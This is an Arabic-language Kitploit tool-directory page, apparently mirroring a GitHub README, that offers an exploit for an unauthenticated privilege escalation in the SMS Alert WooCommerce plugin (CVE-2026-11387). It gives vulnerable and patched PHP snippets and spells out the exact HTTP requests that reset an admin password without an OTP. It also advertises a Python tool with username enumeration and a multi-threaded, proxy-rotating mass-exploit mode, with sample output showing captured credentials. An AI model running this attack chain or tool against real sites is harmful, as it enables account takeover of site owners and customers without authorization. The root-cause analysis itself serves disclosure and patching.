Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-11387 — يستغل تصعيد امتيازات غير مصادق عليه في إضافة SMS Alert WooCommerce (CVE-2026-11387) عبر تجاوز OTP وإعادة تعيين كلمة مرور عشوائية، مع تعداد أسماء المستخدمين وفحص متعدد الخيوط. | Kitploit
أدوات/GitHubGitHub/1beelze/cve-2026-11387
هجمات كلمات المرورتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقالمصادقة
GitHub1beelze/cve-2026-11387

CVE-2026-11387

يستغل تصعيد امتيازات غير مصادق عليه في إضافة SMS Alert WooCommerce (CVE-2026-11387) عبر تجاوز OTP وإعادة تعيين كلمة مرور عشوائية، مع تعداد أسماء المستخدمين وفحص متعدد الخيوط.

عرض المستودع
13منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-11387 — SMS Alert ≤ 3.9.5

☆ تصعيد غير مصرح به للامتيازات عبر إعادة تعيين كلمة مرور عشوائية ☆
=== Beelze ===


📋 معلومات الثغرة

الحقلالتفاصيل
CVE IDCVE-2026-11387
درجة CVSS9.8 حرجة
متجه CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
النوعنقص المصادقة / تجاوز OTP
الإضافةSMS Alert – OTP Verification for WooCommerce (sms-alert)
المتأثر≤ 3.9.5
المُصحَّح3.9.6
تاريخ النشر2026
الإثباتBeelze

🔍 الوصف

إضافة SMS Alert – OTP Verification for WooCommerce الإصدار 3.9.5 أو أقل معرضة لـ تصعيد امتيازات غير مصرح به عبر إعادة تعيين كلمة مرور عشوائي. يقوم معالج إعادة تعيين كلمة المرور في الإضافة بالتحقق من إجراء إعادة التعيين حصريًا عن طريق فحص $_REQUEST['option'] للتأكد من احتوائه على السلسلة smsalert-change-password-form، دون التحقق من اكتمال تحدي OTP.

توجد حالة سباق حرجة في آلية بذر الجلسة تسمح للمهاجم باختطاف أي حساب عبر طلبين HTTP:

  1. إرسال POST إلى نموذج كلمة المرور المفقودة مع user_login المستهدف — يؤدي ذلك إلى تشغيل smsalert_site_challenge_otp() الذي يقوم ببذر $_SESSION['user_login'] دون التحقق من أي OTP.
  2. إرسال POST مع option=smsalert-change-password-form وكلمة مرور جديدة — يقرأ routeData() قيمة $_SESSION['user_login'] التي تم بذرها مسبقًا ويستدعي reset_password() دون قيد أو شرط.
  3. تسجيل الدخول باستخدام بيانات الاعتماد الجديدة — تأكيد السيطرة على الحساب.
  4. لا يتطلب الهجوم أي مصادقة، ولا OTP، ولا أي تفاعل من الضحية.
  5. يمكن السيطرة على أي حساب ووردبريس — بما في ذلك المسؤول — إذا كان المستخدم المستهدف لديه رقم هاتف فواتير مسجل في WooCommerce.

التأثير: سيطرة كاملة غير مصرح بها على أي مستخدم مسجل رقم هاتف فواتيره. يحصل المهاجم على وصول دائم مع دور الضحية وصلاحياتها.


🧬 تحليل السبب الجذري

1. تسجيل إجراء AJAX بدون صلاحيات

root@kitploit:~
// sms-alert/smsalert.php
add_action( 'wp_ajax_nopriv_smsalert_reset_otp',      [ $this, 'smsalert_site_challenge_otp' ] );
add_action( 'wp_ajax_nopriv_smsalert_change_password', [ $this, 'routeData' ] );

2. تحدي OTP يقوم ببذر الجلسة دون تحقق

root@kitploit:~
// handler/forms/class-wpresetpassword.php
public function smsalert_site_challenge_otp() {
    $user_login = sanitize_text_field( $_REQUEST['user_login'] );
    $user       = get_user_by( 'login', $user_login )
               ?: get_user_by( 'email', $user_login );

    if ( $user ) {
        // ❌ يتم تعيين $_SESSION['user_login'] هنا — قبل التحقق من OTP
        $_SESSION['user_login']      = $user->user_login;
        $_SESSION['smsalert_otp']    = $this->generate_otp();
        $_SESSION[self::SESSION_VAR] = 'otp_sent';  // NOT 'validated'
        $this->send_otp( $user );
    }
}

3. routeData() يفحص فقط $_REQUEST['option'] — لا يوجد حارس لحالة الجلسة

root@kitploit:~
// handler/forms/class-wpresetpassword.php
public function routeData() {
    $option = sanitize_text_field( $_REQUEST['option'] ?? '' );

    if ( $option === 'smsalert-change-password-form' ) {
        // ❌ مفقود: if ( $_SESSION[self::SESSION_VAR] !== 'validated' ) { return; }
        $this->reset_password();
    }
}

4. reset_password() ينفذ دون قيد باستخدام الجلسة المسمومة مسبقًا

root@kitploit:~
// handler/forms/class-wpresetpassword.php
private function reset_password() {
    $user_login = $_SESSION['user_login'] ?? '';  // مسمومة من smsalert_site_challenge_otp()
    $new_pass   = sanitize_text_field( $_REQUEST['smsalert_user_newpwd'] );
    $confirm    = sanitize_text_field( $_REQUEST['smsalert_user_cnfpwd'] );

    if ( $new_pass !== $confirm || empty( $user_login ) ) { return; }

    $user = get_user_by( 'login', $user_login );
    if ( $user ) {
        wp_set_password( $new_pass, $user->ID );  // ✅ تم تغيير كلمة المرور — بدون حاجة OTP
        wp_redirect( add_query_arg( 'password_reset', 'true', wp_login_url() ) );
        exit;
    }
}

5. التصحيح في 3.9.6 — إضافة حارس حالة الجلسة

root@kitploit:~
// handler/forms/class-wpresetpassword.php (مُصحَّح)
public function routeData() {
    $option = sanitize_text_field( $_REQUEST['option'] ?? '' );

    if ( $option === 'smsalert-change-password-form' ) {
        // ✅ تم الإصلاح: يجب التحقق من OTP قبل السماح بإعادة التعيين
        if ( ( $_SESSION[self::SESSION_VAR] ?? '' ) !== 'validated' ) {
            wp_die( 'مطلوب التحقق من OTP.' );
        }
        $this->reset_password();
    }
}

⚔️ سلسلة الهجوم

root@kitploit:~
Attacker (no auth)
     │
     │  POST /my-account/lost-password/
     │  body: user_login=admin
     ▼
┌─────────────────────────────────────────┐
│  smsalert_site_challenge_otp()          │
│  → $_SESSION['user_login'] = 'admin'   │  ← session poisoned 💀
│  → $_SESSION[SESSION_VAR] = 'otp_sent' │
│  → OTP sent to victim's phone           │
│  (attacker never sees the OTP)          │
└─────────────────────────────────────────┘
     │
     │  POST /my-account/lost-password/
     │  body: option=smsalert-change-password-form
     │        smsalert_user_newpwd=Pwned123!
     │        smsalert_user_cnfpwd=Pwned123!
     ▼
┌─────────────────────────────────────────┐
│  routeData()                            │
│  → checks $_REQUEST['option'] only      │
│  → SESSION_VAR check: SKIPPED ❌        │
│  → reset_password() called              │
│  → wp_set_password('admin', newpwd)     │  ← password changed 😈
└─────────────────────────────────────────┘
     │
     │  POST /wp-login.php
     │  log=admin  pwd=Pwned123!
     ▼
┌─────────────────────────────────────────┐
│  Login SUCCESS                          │
│  wordpress_logged_in_* cookie set       │  ← TAKEOVER CONFIRMED 💀
└─────────────────────────────────────────┘

🛠️ الأدوات

CVE-2026-11387.py — سلسلة الاستغلال الكاملة

root@kitploit:~
# Single target exploit
python CVE-2026-11387.py
# → Mode 1, enter target URL + username

# Username enumeration only
python CVE-2026-11387.py
# → Mode 2

# Mass exploit (multi-threaded + proxy rotation)
python CVE-2026-11387.py
# → Mode 3, targets.txt, threads, proxy file

# Fingerprint only (no exploit)
python CVE-2026-11387.py
# → Mode 4, outputs CSV
root@kitploit:~
Exploit Phases:
  Phase 1 — Reachability check + HTTP fallback
  Phase 2 — Version fingerprint via readme.txt
  Phase 3 — Username enumeration (REST API / sitemap / author archive)
  Phase 4 — OTP challenge trigger (session poisoning)
  Phase 5 — Password reset via routeData() bypass
  Phase 6 — Login verification (wordpress_logged_in_* cookie)
root@kitploit:~
Sample output (scan_results/CVE-2026-11387_success.txt):
  [2026-07-03 12:00:00] SITE=https://target.com | user=admin | pass=Tmp_P0c_2026!Aa

🔒 التخفيف

قم بتحديث إضافة SMS Alert إلى الإصدار 3.9.6 أو أحدث.


[Beelze] — لأغراض تعليمية وبحث أمني مصرح به فقط

تنزيل الأداة